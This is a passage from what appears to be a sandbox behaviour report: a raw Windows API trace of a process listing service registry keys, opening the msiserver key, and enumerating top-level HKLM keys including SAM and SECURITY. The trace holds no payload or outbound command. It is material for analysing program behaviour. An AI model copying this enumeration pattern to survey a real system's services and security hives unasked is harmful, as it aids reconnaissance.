dwIndex=0xaa, lpName=0x1c829e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0029.307] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xab, lpName=0x1c829e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0029.307] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xac, lpName=0x1c829e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0029.307] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xad, lpName=0x1c829e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0029.308] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xae, lpName=0x1c829e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0029.308] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xaf, lpName=0x1c829e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x1c946d8, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0029.308] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb0, lpName=0x1c829e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0029.308] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb1, lpName=0x1c829e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0029.308] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb2, lpName=0x1c829e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0029.308] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb3, lpName=0x1c829e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0029.308] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb4, lpName=0x1c829e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0029.308] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb5, lpName=0x1c829e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0029.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0029.309] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb6, lpName=0x1c829e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x1c94450, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0029.309] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb7, lpName=0x1c829e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x1c946d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0029.309] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb8, lpName=0x1c829e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0029.309] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb9, lpName=0x1c829e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0029.309] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xba, lpName=0x1c829e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0029.309] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbb, lpName=0x1c829e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0029.309] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbc, lpName=0x1c829e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0029.309] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbd, lpName=0x1c829e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0029.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0029.310] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbe, lpName=0x1c829e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0029.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0029.310] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbf, lpName=0x1c829e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0029.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0029.681] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc0, lpName=0x1c829e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0029.681] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc1, lpName=0x1c829e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x1c946d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0029.681] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc2, lpName=0x1c829e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x1c94450, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0029.681] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc3, lpName=0x1c829e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x1c946d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0029.681] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc4, lpName=0x1c829e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0029.681] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc5, lpName=0x1c829e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0029.681] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc6, lpName=0x1c829e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0029.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0029.682] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc7, lpName=0x1c829e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0029.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x1c946d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0029.682] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0029.682] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c829e0) returned 1 [0029.682] RegCloseKey (hKey=0x15c) returned 0x0 [0029.682] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.682] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x280) returned 0x1c829e0 [0029.682] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0029.682] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0029.682] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.682] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1c94450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0029.682] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.682] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.682] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.682] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95ea0) returned 1 [0029.682] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0029.682] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.683] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.683] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.683] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.683] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.683] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, 